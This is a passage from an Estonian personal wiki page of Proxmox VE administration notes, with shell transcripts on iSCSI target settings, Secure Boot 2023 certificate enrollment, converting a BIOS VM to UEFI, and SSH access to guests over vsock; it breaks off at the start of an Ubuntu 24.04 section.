ImmediateData=Yes&lt;br /&gt;
InitialR2T=Yes&lt;br /&gt;
MaxBurstLength=262144&lt;br /&gt;
MaxConnections=1&lt;br /&gt;
MaxOutstandingR2T=1&lt;br /&gt;
MaxRecvDataSegmentLength=8192&lt;br /&gt;
MaxXmitDataSegmentLength=262144&lt;br /&gt;
OFMarkInt=Reject&lt;br /&gt;
OFMarker=No&lt;br /&gt;
TargetAlias=LIO Target&lt;br /&gt;
&lt;br /&gt;
root@pm60-trt:~# targetcli /iscsi/iqn.2022-09.ee.moraal:pbs-pub/tpg1 get attribute | grep =&lt;br /&gt;
======================&lt;br /&gt;
authentication=1&lt;br /&gt;
cache_dynamic_acls=0&lt;br /&gt;
default_cmdsn_depth=64&lt;br /&gt;
default_erl=0&lt;br /&gt;
demo_mode_discovery=1&lt;br /&gt;
demo_mode_write_protect=1&lt;br /&gt;
fabric_prot_type=0&lt;br /&gt;
generate_node_acls=0&lt;br /&gt;
login_keys_workaround=1&lt;br /&gt;
login_timeout=15&lt;br /&gt;
prod_mode_write_protect=0&lt;br /&gt;
t10_pi=0&lt;br /&gt;
tpg_enabled_sendtargets=1&lt;br /&gt;
root@pm60-trt:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* parameter - võrgus kõneldavad asjad&lt;br /&gt;
* attribute - lokaalselt olukorda määratlevad asjad&lt;br /&gt;
&lt;br /&gt;
====iscsi initiator====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====qemu protsess====&lt;br /&gt;
&lt;br /&gt;
Kasutamine&lt;br /&gt;
&lt;br /&gt;
[[Fail:20251019-remote-zfs-over-iscsi-01.png|600px]]&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Secure boot - nn Microsoft 2023 sertifikaat===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Olemasolev olukord enne muudatust====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-01:~# apt-get install efitools&lt;br /&gt;
root@pwrk-01:~# (printf &amp;quot;db: \n&amp;quot;; efi-readvar -v db; printf &amp;quot;\nKEK: \n&amp;quot;; efi-readvar -v KEK) | grep -E &amp;quot;2011|2023&amp;quot;&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Windows Production PCA 2011&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation UEFI CA 2011&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation KEK CA 2011&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Muudatus====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# qm enroll-efi-keys 902198&lt;br /&gt;
skipping - OS type is neither Windows 10 nor Windows 11&lt;br /&gt;
&lt;br /&gt;
root@pve-wrx90e:~# qm set 902198 --ostype win10&lt;br /&gt;
root@pve-wrx90e:~# qm enroll-efi-keys 902198&lt;br /&gt;
root@pve-wrx90e:~# qm set 902198 --ostype l26&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
from&lt;br /&gt;
&lt;br /&gt;
efidisk0: si-dpool:vm-902198-disk-0,efitype=4m,pre-enrolled-keys=1,size=1M&lt;br /&gt;
&lt;br /&gt;
to&lt;br /&gt;
&lt;br /&gt;
efidisk0: si-dpool:vm-902198-disk-0,efitype=4m,ms-cert=2023w,pre-enrolled-keys=1,size=1M&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Uus olukord peale muudatust====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# (printf &amp;quot;db: \n&amp;quot;; efi-readvar -v db; printf &amp;quot;\nKEK: \n&amp;quot;; efi-readvar -v KEK) | grep -E &amp;quot;2011|2023&amp;quot;&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Windows Production PCA 2011&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation UEFI CA 2011&lt;br /&gt;
            C=US, O=Microsoft Corporation, CN=Microsoft UEFI CA 2023&lt;br /&gt;
            C=US, O=Microsoft Corporation, CN=Windows UEFI CA 2023&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation KEK CA 2011&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====WebGUI abil====&lt;br /&gt;
&lt;br /&gt;
WebGUI abil vm sertifikaat muudatus&lt;br /&gt;
&lt;br /&gt;
 Disk Action -&amp;gt; Enroll Updated Certificates&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260611-pve-ms-cert-2023-01.png|700px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
====pveupdate====&lt;br /&gt;
&lt;br /&gt;
* uuendab webgui liidese sertifikaadi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# pveupdate&lt;br /&gt;
Loading ACME account details&lt;br /&gt;
Placing ACME order&lt;br /&gt;
Order URL: https://acme-v02.api.letsencrypt.org/acme/order/2232348225/504476182801&lt;br /&gt;
&lt;br /&gt;
Getting authorization details from 'https://acme-v02.api.letsencrypt.org/acme/authz/2232348225/694056506271'&lt;br /&gt;
The validation for pve-wrx90e.auul.pri.ee is pending!&lt;br /&gt;
Setting up webserver&lt;br /&gt;
Triggering validation&lt;br /&gt;
Sleeping for 5 seconds&lt;br /&gt;
Status is 'valid', domain 'pve-wrx90e.auul.pri.ee' OK!&lt;br /&gt;
&lt;br /&gt;
All domains validated!&lt;br /&gt;
&lt;br /&gt;
Creating CSR&lt;br /&gt;
Checking order status&lt;br /&gt;
Order is ready, finalizing order&lt;br /&gt;
valid!&lt;br /&gt;
&lt;br /&gt;
Downloading certificate&lt;br /&gt;
Setting pveproxy certificate and key&lt;br /&gt;
Restarting pveproxy&lt;br /&gt;
Revoking old certificate&lt;br /&gt;
Revoke request to CA failed: Error: POST to https://acme-v02.api.letsencrypt.org/acme/revoke-cert&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;type&amp;quot;: &amp;quot;urn:ietf:params:acme:error:unauthorized&amp;quot;,&lt;br /&gt;
  &amp;quot;detail&amp;quot;: &amp;quot;Unable to revoke :: Certificate is expired&amp;quot;,&lt;br /&gt;
  &amp;quot;status&amp;quot;: 403&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====pveupgrade====&lt;br /&gt;
&lt;br /&gt;
* uuendab süsteemi apt paketihaldusega tarkvara&lt;br /&gt;
&lt;br /&gt;
===BIOS arvuti teisendamine UEFI arvutiks===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Peamised kaalutlused BIOS arvuti teisendamisel UEFI arvutiks&lt;br /&gt;
&lt;br /&gt;
* vajadus saada osa secure boot lahendusega kaasnevast turvalisusest&lt;br /&gt;
* nö täieline reinstall oleks liiga aeganõudev, kohmakas jne&lt;br /&gt;
&lt;br /&gt;
Muudatus seisneb virtuaalsele arvutile täiendava nö esimese plokkseadme lisamisel, suurusega 1 G. Sinna moodustatakse gpt partitsioonitabel ning vfat failisüsteem, ja ta vastab nö kataloogile /boot/efi, sinna ta ka monteeritakse kokkuvõttes. Juurfailisüsteem ja muu jääb sinna kus ta seni on olnud. Oluline on, et muudatuse käigus ei muudeta olemasoleva plokkseadme partitsioonitabelit ega lvm vms, st ebaõnnestumisel saab pöörduda tagasi kergesti (varundus peaks aga siiski olema olemas).&lt;br /&gt;
&lt;br /&gt;
====Muudatuse protseduur====&lt;br /&gt;
&lt;br /&gt;
Enne muudatust paistab virtuaalne arvuti selline&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-01.png|700px]]&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# df -T -h -t ext4&lt;br /&gt;
Failisüsteem                      Tüüp  Maht Kasut  Vaba Kas% Haagitud&lt;br /&gt;
/dev/mapper/system-root           ext4   11G  8,2G  2,2G  80% /&lt;br /&gt;
/dev/vda1                         ext4  462M  325M  109M  75% /boot&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisatakse töötavale arvutile 1 g plokkseade&lt;br /&gt;
&lt;br /&gt;
 Hardware -&amp;gt; Add disk -&amp;gt; ...&lt;br /&gt;
&lt;br /&gt;
Veendutakse, mis on konkreetsel juhtumil 1 g lisatud plokkseadme nimi, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# fdisk /dev/vdb -l&lt;br /&gt;
Disk /dev/vdb: 1 GiB, 1073741824 bytes, 2097152 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
edasi käsundamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install parted&lt;br /&gt;
&lt;br /&gt;
# parted /dev/vdb mklabel gpt&lt;br /&gt;
# parted /dev/vdb mkpart primary fat32 1MiB 100%&lt;br /&gt;
# parted /dev/vdb set 1 esp on&lt;br /&gt;
# mkfs.vfat -F 32 /dev/vdb1&lt;br /&gt;
# mkdir -p /boot/efi&lt;br /&gt;
# blkid /dev/vdb1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muuta /etc/fstab faili, st lisada üks rida olemaoleva /boot rea alla, uuid on mitte partitsiooni, aga vfat failisüsteemi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/fstab&lt;br /&gt;
..&lt;br /&gt;
UUID=XXXX-XXXX  /boot/efi       vfat    defaults        0       2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisada paketid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# systemctl daemon-reload&lt;br /&gt;
# mount /boot/efi&lt;br /&gt;
# apt update&lt;br /&gt;
# apt install grub-efi-amd64-signed shim-signed mokutil&lt;br /&gt;
# grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=debian --removable&lt;br /&gt;
# update-grub&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# find /boot/efi/ -type f -ls&lt;br /&gt;
      115    932 -rwxr-xr-x   1 root     root       952384 mai   17 12:00 /boot/efi/EFI/BOOT/BOOTX64.EFI&lt;br /&gt;
      116   2624 -rwxr-xr-x   1 root     root      2685544 mai   17 12:00 /boot/efi/EFI/BOOT/grubx64.efi&lt;br /&gt;
      117    832 -rwxr-xr-x   1 root     root       851368 mai   17 12:00 /boot/efi/EFI/BOOT/mmx64.efi&lt;br /&gt;
      118      4 -rwxr-xr-x   1 root     root          112 mai   17 12:00 /boot/efi/EFI/BOOT/BOOTX64.CSV&lt;br /&gt;
      119      4 -rwxr-xr-x   1 root     root          112 mai   17 12:00 /boot/efi/EFI/BOOT/grub.cfg&lt;br /&gt;
&lt;br /&gt;
# cat /boot/efi/EFI/BOOT/grub.cfg&lt;br /&gt;
search.fs_uuid 5ebbc6f0-69e8-413b-bb4f-4ec0fa5d2fc1 root&lt;br /&gt;
set prefix=($root)'/grub'&lt;br /&gt;
configfile $prefix/grub.cfg&lt;br /&gt;
&lt;br /&gt;
# blkid /dev/vda1&lt;br /&gt;
/dev/vda1: UUID=&amp;quot;5ebbc6f0-69e8-413b-bb4f-4ec0fa5d2fc1&amp;quot; BLOCK_SIZE=&amp;quot;1024&amp;quot; TYPE=&amp;quot;ext4&amp;quot; PARTUUID=&amp;quot;cfa36d3a-01&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Õeldakse virtuaalsele arvutile poweroff ja muudetakse seadistusi&lt;br /&gt;
&lt;br /&gt;
* lisatakse 'EFI Disk' (virtuaalne efi riistvara seadistuste salvestamine jms)&lt;br /&gt;
* muudetakse bios -&amp;gt; uefi&lt;br /&gt;
* muudetakse chipset i440fx -&amp;gt; q35&lt;br /&gt;
* muudetakse display default -&amp;gt; virtio-gpu&lt;br /&gt;
&lt;br /&gt;
Peale muudatust paistab virtuaalne arvuti selline&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-02.png|700px]]&lt;br /&gt;
&lt;br /&gt;
Lisaks on boot järjekorra seadmed muudetud&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-03.png|700px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* tingimata vajalik on virtio1 ja virtio0 - esimesel on bootload ja grub.cfg lühike konf, teisel on konfi sisuline osa&lt;br /&gt;
&lt;br /&gt;
Tulemusena töötab arvuti uefi secure boot režiimis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# mokutil --sb-state&lt;br /&gt;
SecureBoot enabled&lt;br /&gt;
&lt;br /&gt;
# df -t vfat -t ext4 -T -h&lt;br /&gt;
Failisüsteem                      Tüüp  Maht Kasut  Vaba Kas% Haagitud&lt;br /&gt;
/dev/mapper/system-root           ext4   11G  8,2G  2,2G  80% /&lt;br /&gt;
/dev/vda1                         ext4  462M  325M  109M  75% /boot&lt;br /&gt;
/dev/vdb1                         vfat 1020M  8,7M 1012M   1% /boot/efi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kõige lõpus võiks veel öelda, nii tekivad nö naturaalsed efibootmgr ja /boot/efi sissekanded nagu nad oleks seal nö sündinud-uefi'na arvutil&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# efibootmgr&lt;br /&gt;
BootCurrent: 0002&lt;br /&gt;
Timeout: 3 seconds&lt;br /&gt;
BootOrder: 0002,0003,0000,0001&lt;br /&gt;
Boot0000* BootManagerMenuApp	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(eec25bdc-67f2-4d95-b1d5-f81b2039d11d)&lt;br /&gt;
Boot0001* EFI Firmware Setup	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(462caa21-7614-4503-836e-8ab6f4662331)&lt;br /&gt;
Boot0002* UEFI Misc Device	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0xb,0x0){auto_created_boot_option}&lt;br /&gt;
Boot0003* UEFI Misc Device 2	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0xa,0x0){auto_created_boot_option}&lt;br /&gt;
&lt;br /&gt;
# grub-install /dev/vdb&lt;br /&gt;
Installing for x86_64-efi platform.&lt;br /&gt;
Installation finished. No error reported.&lt;br /&gt;
&lt;br /&gt;
# efibootmgr&lt;br /&gt;
BootCurrent: 0002&lt;br /&gt;
Timeout: 3 seconds&lt;br /&gt;
BootOrder: 0004,0002,0003,0000,0001&lt;br /&gt;
Boot0000* BootManagerMenuApp	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(eec25bdc-67f2-4d95-b1d5-f81b2039d11d)&lt;br /&gt;
Boot0001* EFI Firmware Setup	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(462caa21-7614-4503-836e-8ab6f4662331)&lt;br /&gt;
Boot0002* UEFI Misc Device	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0xb,0x0){auto_created_boot_option}&lt;br /&gt;
Boot0003* UEFI Misc Device 2	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0xa,0x0){auto_created_boot_option}&lt;br /&gt;
Boot0004* debian	HD(1,GPT,0fb8cfd1-c90b-4da2-97db-ceda14464a90,0x800,0x1ff000)/File(\EFI\proxmox\shimx64.efi)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Boot Order märkused====&lt;br /&gt;
&lt;br /&gt;
PVE webgui Boot Order määrab kaks&lt;br /&gt;
&lt;br /&gt;
* millised plokkseadmed osalevad uefi faasis&lt;br /&gt;
* millised järjekorras plokkseadmed osalevad uefi faasis alglaadimisel&lt;br /&gt;
&lt;br /&gt;
Kui on linnutatud ainult üks seade&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-05.png|800px]]&lt;br /&gt;
&lt;br /&gt;
Kui on linnutatud ainult kaks seadet&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-04.png|800px]]&lt;br /&gt;
&lt;br /&gt;
Antud juhul on see väga oluline kuna grub alglaadur on kahel seadmel laiali&lt;br /&gt;
&lt;br /&gt;
* grub.efi rakendus asub /dev/vdb&lt;br /&gt;
* grub.conf seadistus asub /dev/vda&lt;br /&gt;
&lt;br /&gt;
Kui Boot Order on linnutatud vaid /dev/vda, siis peatub arvuti käivitumine 'grub&amp;gt;' prompt juures. Selles mõttes võiks olla PVE webgui osakonna nimeks nt 'UEFI device visibility and Boot Order'.&lt;br /&gt;
&lt;br /&gt;
===Üle vsock ssh kasutamine - Ubuntu 26.04 ja Debian v. 13===&lt;br /&gt;
&lt;br /&gt;
Osutub, et uuemal ajal, st PVE v. 9, Debian v. 13 virtuaalne avuti on võimalik PVE host pealt pöörduda guest poole üle ssh kasutades vsock protokolli (mitte tavalist tcp/ip protokollil põhinevat võrku). Selleks tuleb virtuaalsele arvutile lisada PVE platvormi poolt vsock tugi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# head -n 1 /etc/pve/qemu-server/50056.conf&lt;br /&gt;
args: -device vhost-vsock-pci,guest-cid=50056&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja virtuaalsel arvutil peab olema tarkvaraline vsock tugi. Nt Debian v. 13 puhul on sshd serverisse see integreeritud&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# systemctl | grep ssh&lt;br /&gt;
  ssh.service                                                                                           loaded active running   OpenBSD Secure Shell server&lt;br /&gt;
  sshd@2-50056:22-2:3327097365.service                                                                  loaded active running   OpenBSD Secure Shell server per-connection daemon (vsock:2:3327097364)&lt;br /&gt;
  system-sshd.slice                                                                                     loaded active active    Slice /system/sshd&lt;br /&gt;
  sshd-unix-local.socket                                                                                loaded active listening OpenSSH Server Socket (systemd-ssh-generator, AF_UNIX Local)&lt;br /&gt;
  sshd-vsock.socket                                                                                     loaded active listening OpenSSH Server Socket (systemd-ssh-generator, AF_VSOCK)&lt;br /&gt;
  ssh-access.target                                                                                     loaded active active    SSH Access Available&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemd-ssh-generator on selline süsteem, mis käigult avastab süsteemi võimekusi ja vastavalt seadistab teenustele omadusi (nt ssh puhul lülitatakse sisse vsock tugi)&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# systemctl status sshd@2-50056:22-2:3327097365.service&lt;br /&gt;
● sshd@2-50056:22-2:3327097365.service - OpenBSD Secure Shell server per-connection daemon (vsock:2:3327097365)&lt;br /&gt;
     Loaded: loaded (/usr/lib/systemd/system/sshd@.service; static)&lt;br /&gt;
     Active: active (running) since Mon 2026-06-01 00:04:39 EEST; 16s ago&lt;br /&gt;
 Invocation: 84acdad56690460e8e0fbffd2ecd4d69&lt;br /&gt;
TriggeredBy: ● sshd-vsock.socket&lt;br /&gt;
       Docs: man:sshd(8)&lt;br /&gt;
             man:sshd_config(5)&lt;br /&gt;
   Main PID: 876 (sshd-session)&lt;br /&gt;
      Tasks: 1 (limit: 6978)&lt;br /&gt;
     Memory: 1.8M (peak: 3.9M)&lt;br /&gt;
        CPU: 27ms&lt;br /&gt;
     CGroup: /system.slice/system-sshd.slice/sshd@2-50056:22-2:3327097365.service&lt;br /&gt;
             ‣ 876 &amp;quot;sshd-session: root [priv]&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Jun 01 00:04:39 unifi-oss systemd[1]: Started sshd@2-50056:22-2:3327097365.service - OpenBSD Secure Shell server per-connection daemon (vsock:2:3327097365).&lt;br /&gt;
Jun 01 00:04:40 unifi-oss sshd-session[876]: Accepted publickey for root from UNKNOWN port 65535 ssh2: ED25519 SHA256:3cj7QCk4leNOSQJlfeUeHr6YfsA0r3bRUqZS9Rey3jM&lt;br /&gt;
Jun 01 00:04:40 unifi-oss sshd-session[876]: pam_unix(sshd:session): session opened for user root(uid=0) by root(uid=0)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* triggered by 'sshd-vsock.socket'&lt;br /&gt;
&lt;br /&gt;
ssh kliendi st pve host poolel peab olema teadmine, kuidas käituda kui üritatakse kasutada vsock protokolli üle sshd serverit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# cat /lib/systemd/ssh_config.d/20-systemd-ssh-proxy.conf&lt;br /&gt;
# SPDX-License-Identifier: LGPL-2.1-or-later&lt;br /&gt;
#&lt;br /&gt;
# Allow connecting to the local host directly via &amp;quot;.host&amp;quot;&lt;br /&gt;
Host .host machine/.host&lt;br /&gt;
        ProxyCommand /usr/lib/systemd/systemd-ssh-proxy unix/run/ssh-unix-local/socket %p&lt;br /&gt;
        ProxyUseFdpass yes&lt;br /&gt;
        CheckHostIP no&lt;br /&gt;
&lt;br /&gt;
# Make sure unix/* and vsock/* can be used to connect to AF_UNIX and AF_VSOCK paths.&lt;br /&gt;
# Make sure machine/* can be used to connect to local machines registered in machined.&lt;br /&gt;
#&lt;br /&gt;
Host unix/* vsock/* machine/*&lt;br /&gt;
        ProxyCommand /usr/lib/systemd/systemd-ssh-proxy %h %p&lt;br /&gt;
        ProxyUseFdpass yes&lt;br /&gt;
        CheckHostIP no&lt;br /&gt;
&lt;br /&gt;
        # Disable all kinds of host identity checks, since these addresses are generally ephemeral.&lt;br /&gt;
        StrictHostKeyChecking no&lt;br /&gt;
        UserKnownHostsFile /dev/null&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* tuleb kasutada 'man systemd-ssh-proxy' utiliiti&lt;br /&gt;
&lt;br /&gt;
Kasutamine paistab välja selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# ssh root@vsock/50056&lt;br /&gt;
Warning: Permanently added 'vsock/50056' (ED25519) to the list of known hosts.&lt;br /&gt;
Linux unifi-oss 6.12.90+deb13.1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.90-2 (2026-05-27) x86_64&lt;br /&gt;
&lt;br /&gt;
The programs included with the Debian GNU/Linux system are free software;&lt;br /&gt;
the exact distribution terms for each program are described in the&lt;br /&gt;
individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
&lt;br /&gt;
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
permitted by applicable law.&lt;br /&gt;
Last login: Sun May 31 23:53:37 2026 from 192.168.10.156&lt;br /&gt;
root@unifi-oss:~#&lt;br /&gt;
&lt;br /&gt;
root@unifi-oss:~# w&lt;br /&gt;
 23:59:55 up 6 min,  2 users,  load average: 0.00, 0.00, 0.00&lt;br /&gt;
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT&lt;br /&gt;
root     pts/1    -                23:59    1.00s  0.00s   ?    w&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* vsock kaudu lähenemise puhul on iseloomulik 'FROM -' (tavaliselt on seal src ip aadress)&lt;br /&gt;
&lt;br /&gt;
Peale kasutaja sisselogimist paistab&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# ss -a -p --vsock&lt;br /&gt;
Netid    State     Recv-Q    Send-Q       Local Address:Port       Peer Address:Port         Process&lt;br /&gt;
v_str    LISTEN    0         0                        *:22                    *:*             users:((&amp;quot;systemd&amp;quot;,pid=1,fd=66))&lt;br /&gt;
v_str    ESTAB     0         0                    50056:22                    2:3327097366    users:((&amp;quot;sshd-session&amp;quot;,pid=914,fd=7),(&amp;quot;sshd-session&amp;quot;,pid=914,fd=6),(&amp;quot;sshd-session&amp;quot;,pid=905,fd=7),(&amp;quot;sshd-session&amp;quot;,pid=905,fd=6),(&amp;quot;systemd&amp;quot;,pid=1,fd=8))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* af_vsock osakonnas on sarnasel af_inet osakonnale ka listen socket ning 'active connected socket'&lt;br /&gt;
&lt;br /&gt;
Tundub, et uuemal ajal on ssh agar kuulama ka af_unix soketil&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# screendump | grep -i ssh&lt;br /&gt;
[  OK  ] Listening on sshd-unix-local.socket - OpenSSH Server Socket (systemd-ssh-generator, AF_UNIX Local).&lt;br /&gt;
[  OK  ] Listening on sshd-vsock.socket - OpenSSH Server Socket (systemd-ssh-generator, AF_VSOCK).&lt;br /&gt;
[  OK  ] Reached target ssh-access.target - SSH Access Available.&lt;br /&gt;
         Starting ssh.service - OpenBSD Secure Shell server...&lt;br /&gt;
[  OK  ] Started ssh.service - OpenBSD Secure Shell server.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja tõesti, lokaalselt saab arvutisse logida sisse nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# ssh unix/run/ssh-unix-local/socket&lt;br /&gt;
Warning: Permanently added 'unix/run/ssh-unix-local/socket' (ED25519) to the list of known hosts.&lt;br /&gt;
Linux unifi-oss 6.12.90+deb13.1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.90-2 (2026-05-27) x86_64&lt;br /&gt;
&lt;br /&gt;
The programs included with the Debian GNU/Linux system are free software;&lt;br /&gt;
the exact distribution terms for each program are described in the&lt;br /&gt;
individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
&lt;br /&gt;
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
permitted by applicable law.&lt;br /&gt;
Last login: Mon Jun  1 00:16:42 2026 from UNKNOWN&lt;br /&gt;
&lt;br /&gt;
root@unifi-oss:~# w&lt;br /&gt;
 00:16:44 up 23 min,  3 users,  load average: 0.00, 0.00, 0.00&lt;br /&gt;
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT&lt;br /&gt;
root     pts/2    -                00:16    1.00s  0.00s   ?    w&lt;br /&gt;
root     pts/1    -                00:16    2.00s  0.00s   ?    ssh unix/run/ssh-unix-local/socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.auul.pri.ee/wiki/Linux_operatsioonis%C3%BCsteemis_t%C3%B6%C3%B6tab_v%C3%B5rgu%C3%BChendus#systemd_kasutamine_network-proxy_rollis&lt;br /&gt;
&lt;br /&gt;
===Üle vsock ssh kasutamine - Ubuntu 24.04===&lt;br /&gt;
&lt;br /&gt;
Ettevalmistavalt tuleb 22/tcp seadistada käima ainult konkreetselt ip aadressil&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# grep ^Liste /etc/ssh/sshd_config&lt;br /&gt;
ListenAddress 192.168.10.194&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# systemctl status ssh.service&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
